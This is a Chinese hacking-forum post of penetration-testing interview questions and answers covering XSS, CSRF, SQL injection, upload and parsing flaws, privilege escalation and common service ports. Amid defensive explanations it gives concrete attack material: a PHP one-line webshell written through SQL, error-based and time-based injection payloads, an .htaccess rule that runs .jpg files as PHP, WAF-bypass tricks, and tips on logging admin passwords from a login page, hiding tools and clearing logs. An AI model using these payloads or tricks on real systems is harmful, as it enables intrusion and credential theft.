跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

  • 0

2020渗透测试面试问题大全(前端篇)


HACK1949

问题

2020渗透测试面试问题大全(前端篇)

5fe67cc620273.png

前端篇

 

1、什么是同源策略?

源就是主机、协议、端口名的一个三元组 同源策略(Same Origin Policy, SOP)是Web应用程序的一种安全模型,被广泛地应用在处理WEB内容的各种客户端上,比如各大浏览器,微软的Silverlight,Adobe的Flash/Acrobat等等。

 

2、XSS 能用来做什么?

网络钓鱼、窃取用户Cookies、弹广告刷流量、具备改页面信息、删除文章、获取客户端信息、传播蠕虫

 

3、XSS的三种类型,防御方法

反射型、Dom Base XSS、存储型 防御方法这个只能说个大概,毕竟这是一个比较大的话题,而且防御的方法还得看所在的业务等。从网络层、主机层、Web层、数据库,通过CDN都有过滤常见一些攻击手法,但不能有CDN就以为可以了,添加CDN只是让攻击成本增高,开启HttpOnly,以防确实存在避免cookies被获取,CSP策略、再就是语言中提供的函数对输入过滤,以及输出编码以及ModSecurity类的防火墙。

 

4、存储型xss原理?

如网站留言版,把插入的记录存储在数据库中,插入的代码会一直留在页面上,当其它用户访问会从数据库中读取并触发漏洞。 

 

5、你怎么理解xss攻击?

是一种被动型,在不知道的情况下触发类似无感型,在渗透很多情况下平常的渗透手段以及取得目标的信息,而XSS就能轻松获取,类似QQ邮箱你不可能渗透这么大的互联网就算可以时间成本都非常的高,XSS比较有针对性。

 

6、如何快速发现xss位置?

各种输入的点,名称、上传、留言、可交互的地方,一切输入都是在害原则。 

 

7、Dom xss 原理/防范

DOM型XSS并不需要服务器解析响应的直接参与触发XSS靠的是浏览器DOM解析 DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。

 

cument.getElementById("a").innerHTML="yyyyyy";

在输入点过滤敏感关键字 

 

8、DOM型XSS与反射型XSS区别?

DOM型就是JavaScript中的Document对象HTML注入,直接浏览器处理。

 

9、如何使得前端 referer 为空

通过地址栏输入、从书签里面选择或者浏览器的插件BurpSuite修改。

 

10、cookie参数,security干什么的

Httponly:防止cookie被xss偷

 

https:防止cookie在网络中被偷

 

Secure:阻止cookie在非https下传输,很多全站https时会漏掉

 

Path :区分cookie的标识,安全上作用不大,和浏览器同源冲突

11、如果 SRC 上报了一个 XSS 漏洞,payload 已经写入页面,但未给出具体位置,如何快速介入?

看是否什么类型的XSS,XSS反射型看提交的地址,指的参数是哪个位置,通过这个页面进行fuzzing测试。如果是存储型页面查找关键字。

 

12、XSS, CSRF, CRLF比较容易弄混,说说三者的原理,防御方法

CSRF跨站请求伪造,构靠已知的所有参数让对方访问,

 

防护CSRF: 防御原理:不让你那么容易伪造请求(cookie中加入随机数,要求请求中带上,而攻击者获取不到cookie中的随机数,验证HTTP Referer字段,在请求地址中添加takon验证

 

CRLF原理:

 

HTTP拆分攻击(HTTP Splitting),CRLF是”回车 + 换行”(\r\n)的简称。

 

在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

 

13、csrf 如何不带referer访问

通过地址栏,手动输入;从书签里面选择;通过实现设定好的手势。上面说的这三种都是用户自己去操作,因此不算CSRF。

 

跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的情况就是我们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:

 

14、CSRF 成因及防御措施;如果不用 token 如何做防御?

X-Frame-Options

DENY(禁止被 加载进任何frame)

SAMEORIGIN(仅允许被加载进同域内的frame)

X-XSS-Protection

0(表示禁止用这个策略)

1(默认,对危险脚本做一些标志或修改,以阻止在浏览器上熏染执行。)

1;mode=block(强制不熏染,在Chrome下直接跳转到空白页,在IE下返回一个#符号) 

这个策略仅针对反射型,对付不了存储型XSS,能识别出反射型是因为提交请求的URL中带有可疑的XSS代码片段。

 X-Content-Security-Policy

 

15、Xss worm原理

攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫。利用一个宿主(如博客空间)作为传播源头进行XSS攻击。

 

16、Cookie的P3P性质

HTTP响应头的p3字段是W3C公布的一项隐私保护推荐标准,该字段用于标识是否允许目标网站的cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。

 

17、CSRF有何危害?

篡改目标网站上的用户数据 盗取用户隐私数据 传播CSRF蠕

一、思路流程

1、信息收集

a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

b、网站指纹识别(包括,cms,cdn,证书等),dns记录

c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

e、子域名收集,旁站,C段等

f、google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

h、传输协议,通用漏洞,exp,github源码等

2、漏洞挖掘

a、浏览网站,看看网站规模,功能,特点等

b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

c、XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

3、漏洞利用&权限提升

a、mysql提权,serv-u提权,oracle提权

b、windows 溢出提权

c、linux脏牛,内核漏洞提权e

4、清除测试数据&输出报告

日志、测试数据的清理
总结,输出渗透测试报告,附修复方案

5、复测

验证并发现是否有新漏洞,输出报告,归档

二、问题

1、拿到一个待检测的站,你觉得应该先做什么?

信息收集
a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
f、google hack 进一步探测网站的信息,后台,敏感文件

漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

漏洞利用
利用以上的方式拿到webshell,或者其他权限

权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

日志清理

总结报告及修复方案

2、判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

a、IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名

b、IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

c、Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg.php

d、Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

e、lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

9、3389无法连接的几种情况

没开放3389 端口
端口被修改
防护拦截
处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入
hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php
.jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码?

只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

**15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

21.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为
http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

    get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”

    HTTP/1.1Host:***.com:82User-Agent:Mozilla/

    5.0 Firefox/40Accept:text/css,/;q=0.1

    Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

    Referer:http://*******.com/eciop/orderForCC/

    cgtListForCC.htm?zone=11370601&v=145902

    Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

    uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;

    st_uid=N90PLYHLZGJXI-NX01VPUF46W;

    status=True

    Connection:keep-alive

    br

    有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

    38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

    39、sqlmap,怎么对一个注入点注入?
    1)如果是get型号,直接,sqlmap -u "诸如点网址".
    2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
    3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

    40、nmap,扫描的几种方式

    41、sql注入的几种类型?
    1)报错注入
    2)bool型注入
    3)延时注入
    4)宽字节注入
    42、报错注入的函数有哪些?10个

      1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】

      2)通过floor报错 向下取整

      3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

      4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

      5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));

      6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

      7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));

      8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

      9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

      10).exp()select from test where id=1 and exp(~(select * from(select user())a));

      br

      43、延时注入如何来判断?

        if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

        br

        44、盲注和延时注入的共同点?

        都是一个字符一个字符的判断

        45、如何拿一个网站的webshell?上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

        46、sql注入写文件都有哪些函数?

          select '一句话' into outfile '路径'

          select '一句话' into dumpfile '路径'

          select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

          br

          47、如何防止CSRF?
          1)验证referer
          2)验证token
          详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

          48、owasp 漏洞都有哪些?
          1)SQL注入防护方法:
          2)失效的身份认证和会话管理
          3)跨站脚本攻击XSS
          4)直接引用不安全的对象
          5)安全配置错误
          6)敏感信息泄露
          7)缺少功能级的访问控制
          8)跨站请求伪造CSRF
          9)使用含有已知漏洞的组件
          10)未验证的重定向和转发

          49、SQL注入防护方法?
          1)使用安全的API
          2)对输入的特殊字符进行Escape转义处理
          3)使用白名单来规范化输入验证方法
          4)对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
          5)服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

          50、代码执行,文件读取,命令执行的函数都有哪些?

            1)代码执行:


            eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function


            2)文件读取:


            file_get_contents(),highlight_file(),fopen(),read


            file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

            3)命令执行:


            system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

            51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
            src指定一个远程的脚本文件,获取referer

            52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

            1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以php方式来解析

            53、为什么aspx木马权限比asp大?

            aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

            54、如何绕过waf?

              大小写转换法

              干扰字符 /*!*/

              编码 base64 unicode hex url ascll

              复参数

              br

              55、如何向服务器写入webshell?

                各种上传漏洞

                mysql具有写入权限,用sql语句写入shell

                http put方法

                br

                56、渗透测试中常见的端口

                a、web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

                  80 web

                  80-89 web

                  8000-9090 web

                  br

                  b、数据库类(扫描弱口令)

                    1433 MSSQL

                    1521 Oracle

                    3306 MySQL

                    5432 PostgreSQL

                    br

                    c、特殊服务类(未授权/命令执行类/漏洞)

                      443 SSL心脏滴血

                      873 Rsync未授权

                      5984 CouchDB http://xxx:5984/_utils/

                      6379 redis未授权

                      7001,7002 WebLogic默认弱口令,反序列

                      9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

                      11211 memcache未授权访问

                      27017,27018 Mongodb未授权访问

                      链接帖子
                      意见的链接
                      分享到其他网站

                      这个问题有0个答案

                      推荐的帖子

                      此问题没有答案

                      黑客攻防讨论组

                      黑客攻防讨论组

                        You don't have permission to chat.
                        • 最近浏览   0位会员

                          • 没有会员查看此页面。
                        ×
                        ×
                        • 创建新的...